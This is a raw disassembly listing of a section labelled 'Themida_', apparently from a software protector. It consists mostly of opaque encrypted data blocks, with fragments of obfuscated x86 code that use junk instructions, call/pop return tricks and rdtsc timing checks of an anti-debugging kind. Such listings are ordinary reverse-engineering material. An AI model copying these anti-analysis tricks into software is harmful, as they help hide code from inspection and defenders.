		dd 0F008B59h, 118Fh, 9E800h, 590E0000h,	1AE799BAh, 53FEE225h
		dd 44895A5Ah, 66510424h, 5A4BE2B9h, 6AF558h, 0C519529h
		dd 95FF0610h, 6101F01h,	89F88B66h, 13B07185h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0C1E7669Ch, 8B95E409h, 10015D95h, 8D8B5006h,	61007A9h
		dd 6985C75Fh, 613B0h, 33000000h, 101DE9BDh, 89006A06h
		dd 10236995h, 0CB706806h, 5B53BA8h, 70243481h, 0F93BA9CBh
		dd 8931B550h, 9D292404h, 6100051h, 6A0B6Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 586CADC3h
		dd 0CE4D0EB0h, 314E830Eh, 101BB585h, 12E906h, 0C4C80000h
		dd 7ED6FE16h, 0CD14CAC0h, 29BEB81Dh, 0DDDFC758h, 0B03E858Dh
		dd 880F0613h, 6, 8ABC281h, 17B94223h, 5073EAF4h, 6E8h
		dd 0F6D50A00h, 0F4BF756h, 288h,	5F5F5700h, 81240489h, 7B6DB7E7h
		dd 7595FF0Dh, 6A061007h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 69ACC350h, 0A690E586h
		dd 69CD28FAh, 12E8h, 77FDA500h,	4E005C4Bh, 2F018F74h, 598889ABh
		dd 0E9304FACh, 11h, 2B775DC3h, 0F75BA6A3h, 57FC4A36h, 1525DF5Fh
		dd 0B58D5F0Dh, 613B048h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0A5C35141h, 6DCA2BC0h, 0C13D989Eh, 48B0Fh
		dd 0BF660000h, 0BF50010Fh, 6B026B4Bh, 8B243489h, 1020B9BDh
		dd 60605006h, 310F5250h, 11E9585Ah, 8A000000h, 859856C1h
		dd 0E0AF595Dh, 0B7B84CC1h, 510DD204h, 0F525061h, 8Dh, 5A310F00h
		dd 4896158h, 55006A24h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 4DA9BA09h, 11A18D8Bh, 95FF0610h
		dd 6100D85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	0F1C35343h
		dd 456AE418h, 0D1503E8Eh, 0AD8D8B1Bh, 0B06100Dh, 21850FC0h
		dd 0B9000000h, 6A948D78h, 612E9h, 7E800h, 0C73B0000h, 31E0BF48h
		dd 35BB60C5h, 0F4DE36Dh, 5F61CFBFh, 6AD0FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0A108DAC3h
		dd 8D098F30h, 6101AC5h,	0B071B58Bh, 0BD8B0613h,	610109Dh
		dd 0E920468Dh, 6, 3709F23Ch, 46AB0CEh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 50C35242h, 0A9E6E883h, 57F987A1h
		dd 239BD8Bh, 60900610h,	78A1B960h, 5B5018DDh, 8B525061h
		dd 60310FC8h, 61585A61h, 0AE95050h, 7000000h, 536E654Fh
		dd 8C72A618h, 0E9905A2Ah, 0Dh, 0CF058D27h, 4CDCADA1h, 55A33045h
		dd 8195FF04h, 0F80613B0h, 840FC00Bh, 14h, 12818D8Bh, 8B660610h
		dd 535E9C8h, 95890000h,	610200Dh, 207E80h, 525840Fh, 0F7810000h
		dd 49F100B0h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 0D8E0D0DEh, 0D5383C77h, 718D331Ch
		dd 8D06102Eh, 85892046h, 613B06Dh, 1C258D89h, 13E90610h
		dd 40000001h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Dh,	35C35141h, 73485BA1h, 0DE9829FEh, 810F5074h, 2
		dd 489FA8Bh, 75B52924h,	8906100Dh, 103069B5h, 8B046A06h
		dd 100901BDh, 91BF5006h, 8904C8B9h, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0C73172C3h
		dd 0C08A452Eh, 0D18B66E6h, 0B08195FFh, 0E7810613h, 3D33903Dh
		dd 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 35B1BBC3h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 8CE0C462h, 0DD55F2B0h
		dd 0AE9BAh, 0B4470000h,	908EFF8Eh, 5F710269h, 0BC9B70Fh
		dd 33840FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 5C3C356h, 4EBBAC65h
		dd 334B9BDh, 100649BDh,	3D1E906h, 0BA660000h, 3880D0E2h
		dd 0E4850F00h, 6AFFFFFEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 3AF4C352h, 66F13338h
		dd 0E92ED2BAh, 7, 6D8D8948h, 3B06100Fh,	13B06D85h, 61820F06h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 5A77C351h, 0F1A5F6Ch, 0BD8BFEB7h
		dd 6101675h, 0F5C3880h,	2F84h, 0CBBF0F00h, 0F2F3880h, 0FFFFAF85h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0BD89F9CDh, 61007F5h, 83D18B40h,	13B075BDh
		dd 840F0006h, 19Ch, 2AD5BD2Bh, 0F500610h, 584h,	22A6BA00h
		dd 48979A4h, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0DFDAC3D3h, 560A58F6h, 51F98BD3h
		dd 998D8Bh, 35A0610h, 13B07585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 96673CD4h
		dd 0AE2D7DDDh, 218D3362h, 5006101Eh, 7E852h, 0C34C0000h
		dd 918C6F9Dh, 7E936h, 72AB0000h, 0E35EDFh, 89595FCFh, 6A2404h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 1F686C3h, 6AFE8B66h,	56006A04h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 33D047E1h, 7478B4A9h
		dd 19958901h, 8B061016h, 102D458Dh, 0D58A9006h,	0DE809050h
		dd 8195FF33h, 0B0613B0h, 102E81BDh, 2BD88B06h, 10099195h
		dd 9D895806h, 6102055h,	29358D8Bh, 0DB0B0610h, 23840Fh
		dd 0F500000h, 48Fh, 0E4BF6600h,	0F0E9594Ch, 0F000001h
		dd 686h, 0E59D8900h, 9061010h, 100509BDh, 0C606h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 90C35040h, 8A94379Fh
		dd 6A58CA8Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0B55CC352h, 0E919763Ch, 0Bh, 0DFB8A45Fh
		dd 57BD7484h, 60096656h, 31618509h, 8B660610h, 0EF8A61D8h
		dd 0D08B6650h, 66240489h, 1E6AD18Bh, 2D85BD8Bh,	50900610h
		dd 60525052h, 0BF310F61h, 7CE1F04Ch, 310F585Ah,	8E951h
		dd 684B0000h, 0DAAB4ACFh, 5A5F9FF7h, 0EE85058h,	0B7000000h
		dd 0A4F6C3CFh, 5BD874A1h, 9F1C80F1h, 59FA8BE3h,	0FFCB8B90h
		dd 13B08195h, 0D88BF806h, 0A18D2358h, 0B06100Eh, 10840FDBh
		dd 66000000h, 7AD7E981h, 10AE9h, 55B58900h, 50061010h
		dd 310F5250h, 585AD08Bh, 0E8240489h, 0Ah, 37136261h, 0DF7B52A8h
		dd 0E96046E1h, 6, 0FD06FFD6h, 95315A5Ah, 6101B35h, 0B5FF5961h
		dd 613B061h, 7D9D8960h,	0B4061022h, 95FF619Ch, 613B065h
		dd 1561958Bh, 0C00B0610h, 99850Fh, 9D310000h, 6100691h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0EB14288Bh, 0C5858960h, 0B6061022h, 958B615Dh
		dd 61004D5h, 0B06985C7h, 10613h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66CC55C3h
		dd 9B21C981h, 4AE9h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 755FCDEEh, 26FCABD4h
		dd 6E9h, 44F57C00h, 66B8DD33h, 61B6A0BAh, 81FA8B66h, 11CC6h
		dd 0C9B70F00h, 0FFFA3FE9h, 0E98D8BFFh, 0E806102Ah, 4, 8000h
		dd 47BA5160h, 5911FF93h, 506188B7h, 448BD08Bh, 8B660424h
		dd 60008BD3h, 9655AFBFh, 2820F3Ch, 0B5000000h, 44896153h
		dd 830F0424h, 2, 6A589BB1h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 110CC355h, 0F1FF280h
		dd 6AF8B7h, 41A3BF66h, 0B071B5FFh, 810F0613h, 4, 160BB966h
		dd 2FB595FFh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0EFB1ABC3h, 71D3B6E1h, 666F513Eh
		dd 8B35CBBAh, 13B06985h, 90B4B106h, 0E950D18Ah,	10h, 31CDE04Bh
		dd 2F1A9188h, 0B682D6AAh, 0BEEFC83Eh, 0C9953390h, 8D061030h
		dd 13B07985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8B66F35Eh, 11E890CAh, 58000000h
		dd 0C891E620h, 7438F5E8h, 0F82DCF41h, 0B9C6DD09h, 5FD68B66h
		dd 9FB59050h, 0B036858Dh, 8D890613h, 61015EDh, 901BD33h
		dd 8B900610h, 1CB550F8h, 95FFFC90h, 6101E99h, 0B458D8Bh
		dd 8B660610h, 0FC08BF9h, 0BD83CAB7h, 610158Dh, 83097500h
		dd 100095BDh, 13740006h, 0C08B5350h, 4D0B8h, 509D8D00h
		dd 0FF0612B6h, 83585BD3h, 100095BDh, 11740006h,	0D0B85350h
		dd 8D000004h, 12B54F9Dh, 5BD3FF06h, 14E858h
		db 2 dup(0)
word_5875A2	dw 8F88h		; DATA XREF: Themida_:0054B4ECo
		dd 755E19D5h, 1545DB8Dh, 4B3B962Dh, 0A01B9070h,	0BD0B1A15h
		dd 61014E5h, 52006A5Fh,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0B2974AF3h, 13E9BAh, 6DB30000h, 1648A8EDh
		dd 0F9E22E1Ah, 48B38B64h, 0DD93BABBh, 66C08B58h, 0ACA6D181h
		dd 961BA58h, 8B600D82h,	1013F9B5h, 0E7EB8106h, 617DA6F8h
		dd 310008C2h, 102ABDB5h
; ---------------------------------------------------------------------------
		push	es


loc_587619:				; CODE XREF: Themida_:loc_5864F0j
		mov	eax, eax
		push	0
		push	ebx
		call	sub_587626
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587626	proc near		; CODE XREF: Themida_:0058761Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_587626	endp

; ---------------------------------------------------------------------------
		adc	cl, [ebp+13B0AA85h]
		push	es
		jmp	loc_587647
; ---------------------------------------------------------------------------
		dw 669Bh
		db 64h,	3Eh, 0EEh
; ---------------------------------------------------------------------------


loc_587647:				; CODE XREF: Themida_:0058763Dj
		mov	[ebp+61005ADh],	eax
		jmp	loc_5876C7
; ---------------------------------------------------------------------------
		pusha
		mov	ax, ds
		test	al, 4
		jz	loc_587693
		push	1
		push	dword ptr [ebp+6101499h]
		lea	eax, [ebp+613858Ah]
		call	eax
		mov	[ebp+6101F35h],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20040000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+6101F35h]
		jmp	loc_5876C5
; ---------------------------------------------------------------------------


loc_587693:				; CODE XREF: Themida_:00587658j
		mov	byte ptr [ebp+61023E5h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+6101D45h]
		lea	eax, [ebp+613858Ah]
		call	eax
		mov	[ebp+6101261h],	eax
		lea	eax, [ebp+6101DADh]
		push	eax
		push	20h
		push	5
		push	esi
		call	dword ptr [ebp+6101261h]


loc_5876C5:				; CODE XREF: Themida_:0058768Ej
		popa
		retn
; ---------------------------------------------------------------------------


loc_5876C7:				; CODE XREF: Themida_:0058764Dj
		shl	eax, 6
		jmp	short loc_587705
; ---------------------------------------------------------------------------
		dd 0C20000h, 0C202CCh, 0C202E4h, 0
		dd 4827F405h, 793EF8FFh, 2D2FF035h, 4024F459h, 412EB37Ah
		dd 79049DE7h, 2D06D181h
dword_5876F8	dd 5D05E9ACh, 451EF314h, 492BF8CAh ; DATA XREF:	Themida_:0054D0CCo
					; Themida_:0054E198o
; ---------------------------------------------------------------------------
		pop	esp


loc_587705:				; CODE XREF: Themida_:005876CAj
		std
		and	ds:2D497578h, ch
		pop	ss
		popf
		push	73h
		dec	eax
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 59h
		dd 69CB99E1h, 2D5E99C6h, 7B0C9D71h
; ---------------------------------------------------------------------------


loc_587720:				; DATA XREF: Themida_:0054CB7Co
		jnp	short loc_587730
		rcr	dword ptr [eax+2B5A9BE1h], 0A5h
		pop	ebp
		and	ds:2D497544h, ch


loc_587730:				; CODE XREF: Themida_:loc_587720j
		mov	ebx, [ebp-39F98996h]
		retn
; ---------------------------------------------------------------------------
		db 71h
		dd 69CB99C6h, 2D5D9955h, 7E099DB8h, 7A1EC69Fh, 0E7C1FBC9h
		dd 38C72094h, 584A9B9Bh, 0B8F71ECCh, 2D4C8DE2h,	7E1A8405h
		dd 94F25D33h, 0A44A9D58h, 3D44F8ABh, 38D71011h,	0D24C8F33h
		dd 0AE12C616h, 3D4A085Fh, 3A3E9D77h, 94F2CEE8h,	0A44A9D58h
		dd 3D44F8ABh, 29D71011h, 0D24C8F3Eh, 4D12C616h,	0AC2CC4B5h
		dd 4C25E9A1h, 0C51D9DD2h, 2D4A9D5Fh, 7289C20Eh,	296EE19Eh
		dd 296ED90Ah, 2D4A9DD0h, 4D89CAA5h, 0EFF5FB03h,	478A16AAh
		dd 2EA2C85Ch, 0D4A9D2Eh, 0A4175E4Ah, 0AC4EB9E7h, 374EB981h
		dd 684A9DE2h, 0DC1C5E24h, 0CDC5F08Dh, 64DF96BDh, 0EB4C8D0Fh
		dd 3D697892h, 7D19CB8Dh, 631022A3h, 29A2C3BBh, 7F4A9D71h
		dd 22D63500h, 2D4A97D8h, 942CFD2Eh, 962CBBA6h, 7D2BADF3h
		dd 0E9E2392h, 0A615E9D3h, 4B4EB935h, 0A6A1B407h, 0E6C1FB5Ch
		dd 296ED9A7h, 5F7DEBA9h, 0E2C0C5DDh, 300F283Ah,	3FA39BF2h
		dd 2C4A9D71h, 0D19E5575h, 2B18C8E5h, 0B256A84h,	3BC6032Eh
		dd 0F4F7B6DDh, 0A04C8DD7h, 3ECF1767h, 9A45CB77h, 9245C74Eh
		dd 0A69A6294h, 3D47C493h, 0AC4EF711h, 0FB216855h, 9E7CF5F1h
		dd 0A62C9EEDh, 97E1C82h, 2E453E8Eh, 0C5189D36h,	2D4A9D2Dh
		dd 7789C737h, 296EC902h, 296ED944h, 2D4A9DFBh, 0EF89CF33h
		dd 0FD9BAA0Ah, 381F501h, 0A62CF43Bh, 97E1CE9h, 445FB1ACh
		dd 0C51B9DAFh, 2D4A9DE1h, 7489C451h, 296ED131h,	296ED9DDh
		dd 2D4A9D32h, 6489CC56h, 69CF0403h, 93EEC806h, 0CFCB9D88h
		dd 75BFF9DFh, 932C4D47h, 0A8C3EFC1h, 2B595F4Fh,	0C5189D7Dh
		dd 2D4A9D88h, 7789C7E5h, 296EC96Bh, 296ED9F0h, 2D4A9DA4h
		dd 0FB89CF1Eh, 0E6C97C3Ch, 47F6759Eh, 2D4A9263h, 657C98C5h
		dd 977EF9A6h, 77A3FBC7h, 0E049BF96h, 7CF2B2E2h,	3CA3C217h
		dd 434A9D17h, 5BF669BFh, 4222765Ch, 3C6AB03h, 6FF1EDCDh
		dd 0E14F6533h, 0A44A9D5Eh, 3E88F8ABh, 358A1E11h, 0EF231802h
		dd 0ED799BD6h, 2D48715Bh, 97E06E71h, 65E699B4h,	2D4A95B5h
		dd 0CDC0F82Eh, 28708605h, 90C3FDFDh, 2B5A8344h,	0A88CFC1Eh
		dd 2B5ABE94h, 7B4AF7FBh, 2D4A9EB4h, 0EE14BD2Eh,	93E1449h
		dd 90E1C8Fh, 2D4A89C1h,	0EE1CDBE2h, 2D467422h, 20FD9DB8h
		dd 0A188C238h, 58794134h, 0E7C11457h, 2D4A9963h, 4A21C3C5h
		dd 2DCF927Eh, 7D4A9D71h, 0C9CCD806h, 90E163Bh, 2D5E742Ah
		dd 7AD19D17h, 3FA82C7Fh, 0A173C9D0h, 0E8024D9h,	82AEE670h
		dd 2DC134BDh, 4164223Ah, 296ED9A7h, 3CA2CF47h
		db 8Bh,	9Dh, 4Ah
byte_5879F3	db 1Fh			; DATA XREF: Themida_:0054E1A8o
		dd 0B812786h, 8EB2BA2Fh, 0FAFE236Ch, 1F5F152Dh,	2D4A1B53h
		dd 22139D2Eh, 77B01626h, 2D20C5D3h, 2D497592h, 726A9DE2h
		dd 51C3C2B2h, 69CB999Ch, 2D579978h, 7A0D9D2Eh, 6AD57DD4h
		dd 3F4BB505h, 24B6FA77h, 3D67A06Fh, 68FF6277h, 224C8DA5h
		dd 2D4A96DAh, 28CA922Eh, 934A9D17h, 127E1576h, 2D4A982Ch
		dd 20E785E2h, 0A8C701A3h, 2B591832h, 0A0C1CDA4h, 2B5A8C2Fh
		dd 479A6248h, 2EA2CB8Bh, 0D4A9DC5h, 0A4145EBCh,	0AC4EB905h
		dd 354EB9FCh, 6B4A9D5Ch, 0FD7E5E78h, 4D6A9CF1h,	0EDF0000h
		dd 92459BD5h, 0D3C1FC2Ch, 0C2F18F8h, 0B8639BA8h, 2B5AB719h
		dd 0BA318A3h, 2D209B07h, 2D4975DBh, 756A9DC5h, 69C3C521h
		dd 69CB9955h, 2D5F999Ch, 7D0A9D5Ch, 0A6BAE7EDh,	3D69F4A2h
		dd 58C7148Dh, 0A44C8DD7h, 3D578467h, 54F71677h,	0EB4C8D9Fh
		dd 3D6978D9h, 98C3CE28h, 2B5A8E52h, 2D4A9963h, 9C0245C5h
		dd 77F5FB1Eh, 69C1CDB1h, 942C999Ch, 2DC128B8h, 846D8997h
		dd 90E1426h, 0DDC1FB8Fh, 7C4AF79Dh, 2D4A9E0Ah, 0EE13BD71h
		dd 90614E1h, 90E1C58h, 2D4A862Ah, 0EE1BDC17h, 559C7D25h
		dd 0B3098F3h, 2D4A940Ah, 63FD7F71h, 188CFCF9h, 0B8C3BF40h
		dd 2B5A88AFh, 0D2B1164Dh, 3D57D83Eh, 2BC792C3h,	1E4A9DE2h
		dd 3D42B4CCh, 0A7CF10BEh, 474C8ED9h, 2EA2CB2Eh,	0D4A9D17h
		dd 0A4145ED5h, 0AC4EB9B1h, 364EB9A6h, 6B4A9D71h, 83995EEEh
		dd 0D051F6B4h, 0D2B6DC73h, 7B4AF7C7h, 2D4A9E63h, 0EE14BDC5h
		dd 93E14BCh, 90E1C75h, 2D4A88BCh, 0EE1CDB5Ch, 0D2F581F9h
		dd 0AC2904E2h, 29C6E465h, 0E4CF14CFh, 474C8DD3h, 2EA2C871h
		dd 0D4A9DB8h, 0A4175E01h, 0AC4EB942h, 3A4EB953h, 684A9D8Bh
		dd 5DD55E90h, 90637A66h, 2B5AAFF8h, 0EAF187Eh, 47199B4Ch
		dd 2EA2CE2Eh, 0D4A9D17h, 0A4115ED0h, 0AC4EB999h, 364EB9A6h
		dd 6E4A9D71h, 96EA5EEBh, 83F81ECEh, 25A34B17h, 994A9D17h
		dd 0AE0296D1h, 450C06E5h, 8450703Fh, 19CBDBC3h,	2F63F39Ch
		dd 7C4AF72Dh, 2D4A9EC6h, 0EE13BD17h, 90614D2h, 90E1CC1h
		dd 2D4A86E6h, 0EE1BDC71h, 6601F901h, 0A57B50BCh, 300F28D1h
		dd 2D209B07h, 2D4975D9h, 776A9DC5h, 79C3C721h, 69CB9955h
		dd 2D52999Ch, 7F089D5Ch, 7BEB6BEDh, 20A30CAFh, 964A9D8Bh
		dd 2E1EFA1Fh, 8804AEFDh, 6EBEC431h, 0A0827838h,	3ECF17D9h
		dd 7D4AF728h, 2D4A9EFFh, 0EE12BD8Bh, 90E149Dh, 90E1CE6h
		dd 2D4A8675h, 0EE1ADDB8h, 622E605Ch, 0CD27B1F6h, 0D21D4497h
		dd 0CE8F1D5Bh, 2EF184Ch, 2D209BF2h, 2D497526h, 726A9DB8h
		dd 51C3C29Fh, 69CB990Ah, 2D509933h, 7A0D9D8Bh, 98B03806h
		dd 0A4C5F188h, 2D4A8D99h, 0A843ADB8h, 954F4128h, 39662C78h
		dd 0BD6F5DC8h, 0CFF16EDh, 734C8DC2h, 0EAF1824h,	470D9B61h
		dd 2EA2CEB8h, 0D4A9D5Ch, 0A4115E75h, 0AC4EB94Bh, 314EB9CFh
		dd 6E4A9DC5h, 4A765EB1h, 3740E7h, 4560FF16h, 15D7ADAFh
		dd 2D4A97C7h, 604DDE17h, 0FA532146h, 0ACE70425h, 81FCB9E6h
		dd 4B2AE230h, 0A4531D06h, 3D6A64D1h, 98B5FC28h,	2B5A8052h
		dd 0A211570Ah, 0A8C7EAA1h, 2B591868h, 0C51D9D1Bh, 2D4A9DBBh
		dd 7289C27Ch, 296EE1A7h, 296ED996h, 2D4A9D93h, 3089CA82h
		dd 0D5FD2121h, 1FF44D8Eh, 0A4067173h, 3D4A34D9h, 5CDF1628h
		dd 0EB4C8D03h, 3D69780Eh, 2D20DAC3h, 2D4975B7h,	706A9D71h
		dd 41C3C07Bh, 69CB9978h, 2D53990Ah, 780F9D17h, 0D2E16848h
		dd 0C5882E00h, 2D4A9DE6h, 0AC968D0Bh, 0A50A22DEh, 90E160Ch
		dd 27CA922Ah, 0C44A9D17h, 2D4A9D8Eh, 14769BC9h,	0A64A1686h
		dd 90E148Fh, 4B18CDBCh,	1C454AD7h, 0D0FBCF7Eh, 72F0AC18h
		dd 77401396h, 7512C79Dh, 0C51B9D88h, 2D4A9D72h,	7489C498h
		dd 296ED1D5h, 296ED9AFh, 2D4A9D0Bh, 1189CCCAh, 26102946h
		dd 0B66A1EAAh, 2D4C7511h, 0FE289DB8h, 9EB02E21h, 2D4A1D21h
		dd 4B139D17h, 222B6F00h, 98B55672h, 2B5A80A7h, 0C51A9D1Bh
		dd 2D4A9DBBh, 7589C57Ch, 296ED9A7h, 296ED996h, 2D4A9D96h
		dd 0F989CD85h, 0EB45A727h, 902A19AAh, 2DCD92D3h, 0A04A9D5Ch
		dd 3ECF17ABh, 7C4AF711h, 2D4A9E63h, 0EE13BDC5h,	90614BBh
		dd 90E1C75h, 2D4A86BCh,	0EE1BDC5Ch, 0D7028115h,	8EC8B86Dh
		dd 8CFF16DBh, 724C8DCBh, 2D204D1Dh, 2D497527h, 736A9DB8h
		dd 59C3C39Fh, 69CB990Ah, 2D569933h, 7B0C9D8Bh, 721B5306h
		dd 718372CBh, 4B1A64EFh, 733AC107h, 3CBF28D7h, 0A8C39B3Eh
		dd 2B5A9F52h, 274B0800h, 0A88C9BD5h, 2B5ABE07h,	7E4AF736h
		dd 2D4A9E50h, 0EE11BD5Ch, 9161475h, 90E1C13h, 2D4A818Fh
		dd 0EE19DEC5h, 0B1535D8h, 0D8227CD8h, 0C4FF9400h, 454C8D71h
		dd 0CFFC575Eh, 6EA996h,	2202E67Dh, 2D4A9C45h, 0A8C365E2h
		dd 2B5AAFD0h, 300F2847h, 2D209B4Ch, 2D49757Fh, 746A9D17h
		dd 61C3C448h, 69CB99E1h, 2D5799C6h, 7C0B9D71h, 0B20BB97Bh
		dd 6AA320A2h, 0A04827C6h, 3ECF1792h, 2FC8928Dh,	0A64A9DC5h
		dd 479A621Ch, 2EA2CC71h, 0D4A9DB8h, 0A4135E05h,	0AC4EB962h
		dd 394EB953h, 6C4A9D8Bh, 4BB45E94h, 818B4F63h, 23EB207Ah
		dd 0A8C39BA8h, 2B5A99A5h, 2D4A92C7h, 0BC75317h,	0D6E79BA4h
		dd 4C31F133h, 0C174EF5Ah, 2D204D8Eh, 2D4975E9h,	746A9D5Ch
		dd 61C3C4EDh, 69CB9933h, 2D5199AFh, 7C0B9DC5h, 0AE008A21h
		dd 0DA758E5Bh, 5CA41C52h, 0A655DB12h, 3D65809Bh, 8CF1411h
		dd 0AC4C8D85h, 0C9E8AC2Ah, 0F5C6FBC4h, 39B10FAh, 0A8459BA8h
		dd 2D4A9D45h, 2D4A89C7h, 48E1B617h, 0A395BFB9h,	81E13975h
		dd 61D24AA3h, 0D8E051D0h, 474EB9BAh, 2EA2CC5Ch,	0D4A9D2Eh
		dd 0A4135E4Eh, 0AC4EB9C7h, 3A4EB981h, 6C4A9DE2h, 0F1215E20h
		dd 90C3086Ah, 2B5A88DDh, 2D4A8EC7h, 721CF317h, 0F59B124Fh
		dd 8FC864Bh, 4913CD94h,	208E089Ah, 0A9455DB2h, 2D4A9FB6h
		dd 0C5199D44h, 2D4A9D14h, 7689C6ABh, 296EC14Ch,	296ED963h
		dd 2D4A9D68h, 0AE89CEFBh, 0E1C9C9BBh, 0A88C6542h, 2B5ABEF2h
		dd 7F4AF7C4h, 2D4A9E2Dh, 0EE10BDE2h, 91E142Bh, 90E1CBCh
		dd 2D4A8858h, 0EE18DF2Eh, 0D92254F8h, 94EFD10Fh, 62A84007h
		dd 1D6EA963h, 0C4505199h, 2D4A9DB2h, 69FAC8Ch, 89D08A67h
		dd 98B56B02h, 2B5A80CEh, 0D0B5FB7Bh, 0A7CF10E5h, 474C8EF4h
		dd 2EA2CFB8h, 0D4A9D5Ch, 0A4105E74h, 0AC4EB943h, 314EB9CFh
		dd 6F4A9DC5h, 0AE625EB0h, 76220A31h, 0A48D2A99h, 3D59A4E1h
		dd 479A6228h, 2EA2CB17h, 0D4A9D8Bh, 0A4145E9Bh,	0AC4EB996h
		dd 3A4EB935h, 6B4A9DB8h, 59265E0Ah, 0AC2C538Bh,	0AE8FC4FDh
		dd 2D20B94Bh, 2D497593h, 736A9DE2h, 59C3C3B2h, 69CB999Ch
		dd 2D5E9978h, 7B0C9D2Eh, 0B8C172D4h, 2B5AB30Ah,	0F8CF1430h
		dd 4B4C8DE7h, 0D91D6CF0h, 31370031h, 0A8C19B4Ch, 2B5A930Bh
		dd 0D702771h, 29B30000h, 47099BD5h, 2EA2CAE2h, 0D4A9D71h
		dd 0A4155EE7h, 0AC4EB920h, 3A4EB96Ah, 6A4A9D17h, 6F6D5EDCh
		dd 98416373h, 2B5A826Fh, 9F2A86FAh, 2D4775D2h, 4C339D5Ch
		dd 5CA05660h, 0F7D30AA0h, 0A69FC266h, 0A62BC532h, 7E4AF7F9h
		dd 2D4A9E99h, 0EE11BDB8h, 9161407h, 90E1C2Ah, 2D4A8713h
		dd 0EE19DE8Bh, 0A23F6DF1h, 0A459661Ah, 3D4F18CCh, 61831CBEh
		dd 0A66A1A14h, 7F4AF735h, 2D4A9EFFh, 0EE10BD8Bh, 91E149Fh
		dd 90E1CE6h, 2D4A8475h,	0EE18DFB8h, 92FF6C8Ah, 27A2F7D9h
		dd 44A9D17h, 0B149FE8Eh
		dd 3A733C66h, 72A417A8h, 90C14542h, 2B5A9099h, 3CB700D5h
		dd 2D209B3Eh, 2D497542h, 706A9D8Bh, 41C3C006h, 69CB99C6h
		dd 2D579955h, 780F9DB8h, 0B1536E9Fh, 5DF752FFh,	0ACAD8E45h
		dd 8F52842h, 0EBA52CE3h, 3D697867h, 0A0C1DA77h,	2B5ABEE9h
		dd 7C9E4334h, 2D417489h, 9CDA9D17h, 4400984Dh, 0CE981C1h
		dd 97E1C8Dh, 3DC59406h,	2D4A8D51h, 6393C55Ch, 0E457B95Dh
		dd 364751A5h, 9AFD0C84h, 68FF6248h, 474C8DFFh, 2EA2C871h
		dd 0D4A9DB8h, 0A4175E01h, 0AC4EB942h, 394EB953h, 684A9D8Bh
		dd 0A0E95E90h, 3ECF1767h, 0FDB56877h, 35EB2031h, 0A8C39B4Ch
		dd 2B5A9D87h, 0C51C9D7Dh, 2D4A9D88h, 7389C3E5h,	296EE96Bh
		dd 296ED9F0h, 2D4A9DACh, 0FF89CB1Ah, 474A166Eh,	2EA2CF17h
		dd 0D4A9D8Bh, 0A4105E9Fh, 0AC4EB9B6h, 3A4EB935h, 6F4A9DB8h
		dd 0DFB85E0Eh, 2DC1CF01h, 0E7F592EBh, 39731802h, 2D209BD5h
		dd 2D4975B3h, 746A9D71h, 61C3C47Bh, 69CB9978h, 2D5E990Ah
		dd 7C0B9D17h, 26A35248h, 424A9DC5h, 0C9BDF4CDh,	8D94F1DAh
		dd 61A3F7C6h, 974A9D5Dh, 78A4887Fh, 0DA074A96h,	0A8C7AE28h
		dd 2B595F42h, 0BD9C22EDh, 24A2CF21h, 0F84A9DB8h, 0F5978E6Ch
		dd 3114D364h, 2D4A98FFh, 0DE617A8Bh, 73135184h,	0DFF5ACEDh
		dd 771F8BF7h, 0D5C1CDE0h, 7E4AF7CCh, 2D4A9EC6h,	0EE11BD17h
